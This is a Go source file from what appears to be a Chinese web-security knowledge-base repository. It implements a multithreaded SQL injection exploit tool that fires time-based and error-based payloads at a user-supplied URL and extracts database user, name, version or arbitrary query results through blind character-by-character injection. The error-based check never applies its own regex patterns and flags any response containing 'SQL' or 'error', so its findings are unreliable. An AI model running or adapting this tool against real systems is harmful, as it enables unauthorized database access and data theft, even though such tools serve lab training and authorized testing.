文件
websafe-kb/01-sql-injection/tools/sqli-exploit.go
hao cda31e86c7 初始化: Web安全攻防知识库
- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs
- SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go
- XSS工具: xss-fuzzer.py, xss-scanner.go
- 认证攻击: web-brute.py, jwt-cracker.py
- 服务端安全: port-scanner.py, tls-scanner.py
- 防御配置: nginx-hardening.conf
- 案例研究: 福建政采网安全评估报告 (13份)
- 同步脚本: sync-gitea.sh
2026-03-16 17:10:23 -07:00

325 行
8.6 KiB
Go

// sqli-exploit.go - 高性能SQL注入利用工具
package main
import (
"flag"
"fmt"
"io"
"net/http"
"net/url"
"strings"
"sync"
"time"
)
type SQLiExploit struct {
Client *http.Client
TargetURL string
Method string
Param string
Threads int
Timeout time.Duration
}
type InjectionResult struct {
Payload string
VulnType string
DBMS string
ResponseLen int
}
var (
colorRed = "\033[91m"
colorGreen = "\033[92m"
colorYellow = "\033[93m"
colorBlue = "\033[94m"
colorCyan = "\033[96m"
colorBold = "\033[1m"
colorEnd = "\033[0m"
)
func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit {
return &SQLiExploit{
Client: &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
},
TargetURL: target,
Method: method,
Param: param,
Threads: threads,
Timeout: timeout,
}
}
func (s *SQLiExploit) SendRequest(payload string) (string, int, error) {
var req *http.Request
var err error
targetURL := s.TargetURL
if s.Method == "GET" {
u, _ := url.Parse(targetURL)
q := u.Query()
q.Set(s.Param, payload)
u.RawQuery = q.Encode()
req, err = http.NewRequest("GET", u.String(), nil)
} else {
data := url.Values{}
data.Set(s.Param, payload)
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", 0, err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
resp, err := s.Client.Do(req)
if err != nil {
return "", 0, err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return string(body), len(body), nil
}
func (s *SQLiExploit) TestTimeBased(payloads []struct {
Payload string
DBMS string
Delay time.Duration
}) []InjectionResult {
var results []InjectionResult
var mu sync.Mutex
var wg sync.WaitGroup
sem := make(chan struct{}, s.Threads)
for _, p := range payloads {
wg.Add(1)
go func(payload, dbms string, delay time.Duration) {
defer wg.Done()
sem <- struct{}{}
defer func() { <-sem }()
start := time.Now()
_, respLen, err := s.SendRequest(payload)
elapsed := time.Since(start)
if err == nil && elapsed >= delay-500*time.Millisecond {
mu.Lock()
results = append(results, InjectionResult{
Payload: payload,
VulnType: "Time-based Blind",
DBMS: dbms,
ResponseLen: respLen,
})
mu.Unlock()
fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
colorRed+colorBold, colorEnd, payload, elapsed, dbms)
}
}(p.Payload, p.DBMS, p.Delay)
}
wg.Wait()
return results
}
func (s *SQLiExploit) TestErrorBased(payloads []struct {
Payload string
Type string
}) []InjectionResult {
var results []InjectionResult
errorPatterns := map[string]string{
"MySQL": "SQL syntax.*MySQL|Warning.*mysql_|MySqlException",
"PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query",
"MSSQL": "Microsoft SQL Server|ODBC SQL Server|SQLServer",
"Oracle": "ORA-\\d{5}|Oracle.*Driver",
"SQLite": "SQLite.*error|sqlite3.OperationalError",
}
for _, p := range payloads {
body, respLen, err := s.SendRequest(p.Payload)
if err != nil {
continue
}
for dbms, pattern := range errorPatterns {
if strings.Contains(body, "SQL") || strings.Contains(body, "error") ||
strings.Contains(body, "Error") || strings.Contains(body, "Warning") {
results = append(results, InjectionResult{
Payload: p.Payload,
VulnType: "Error-based",
DBMS: dbms,
ResponseLen: respLen,
})
fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
colorRed+colorBold, colorEnd, p.Payload, dbms)
break
}
}
}
return results
}
func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string {
var result strings.Builder
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@."
fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
for pos := 1; pos <= maxLen; pos++ {
found := false
for _, char := range charset {
var payload string
if technique == "time" {
switch dbms {
case "mysql":
payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char)
case "mssql":
payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char)
case "postgresql":
payload = fmt.Sprintf("1' AND CASE WHEN SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char)
}
start := time.Now()
s.SendRequest(payload)
elapsed := time.Since(start)
if elapsed >= 900*time.Millisecond {
result.WriteByte(byte(char))
found = true
fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
break
}
}
}
if !found {
break
}
}
fmt.Println()
return result.String()
}
func main() {
target := flag.String("u", "", "Target URL")
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
param := flag.String("p", "id", "Parameter to inject")
threads := flag.Int("t", 5, "Number of threads")
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
technique := flag.String("technique", "time", "Injection technique (time/error/bool)")
extract := flag.String("extract", "", "Data to extract (user/database/version)")
query := flag.String("query", "", "Custom SQL query")
dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)")
flag.Parse()
if *target == "" {
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
flag.Usage()
return
}
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
fmt.Printf("%sSQL Injection Exploit Tool (Go)%s\n", colorBold, colorEnd)
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout)
fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
fmt.Printf("%s[INFO]%s Technique: %s\n", colorBlue, colorEnd, *technique)
timePayloads := []struct {
Payload string
DBMS string
Delay time.Duration
}{
{"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second},
{"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second},
{"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second},
{"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second},
{"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second},
}
errorPayloads := []struct {
Payload string
Type string
}{
{"'", "Single Quote"},
{"\"", "Double Quote"},
{"' OR 1=1-- -", "OR Injection"},
{"' AND 1=1-- -", "AND Injection"},
{"' UNION SELECT NULL-- -", "UNION"},
}
var allResults []InjectionResult
fmt.Printf("\n%s[*]%s Testing Time-based Injection...\n", colorCyan, colorEnd)
timeResults := exploit.TestTimeBased(timePayloads)
allResults = append(allResults, timeResults...)
fmt.Printf("\n%s[*]%s Testing Error-based Injection...\n", colorCyan, colorEnd)
errorResults := exploit.TestErrorBased(errorPayloads)
allResults = append(allResults, errorResults...)
if *extract != "" || *query != "" {
var extractQuery string
switch *extract {
case "user":
switch *dbms {
case "mysql":
extractQuery = "SELECT user()"
case "mssql":
extractQuery = "SELECT SYSTEM_USER"
case "postgresql":
extractQuery = "SELECT current_user"
}
case "database":
switch *dbms {
case "mysql":
extractQuery = "SELECT database()"
case "mssql":
extractQuery = "SELECT DB_NAME()"
case "postgresql":
extractQuery = "SELECT current_database()"
}
case "version":
switch *dbms {
case "mysql":
extractQuery = "SELECT version()"
case "mssql":
extractQuery = "SELECT @@version"
case "postgresql":
extractQuery = "SELECT version()"
}
default:
extractQuery = *query
}
if extractQuery != "" {
result := exploit.ExtractData(extractQuery, *technique, *dbms, 100)
fmt.Printf("\n%s[+]%s Result: %s\n", colorGreen, colorEnd, result)
}
}
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
fmt.Printf("%s[SUMMARY]%s Found %d vulnerabilities\n", colorGreen, colorEnd, len(allResults))
for _, r := range allResults {
fmt.Printf(" - [%s] %s - %s\n", r.VulnType, r.DBMS, r.Payload)
}
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
}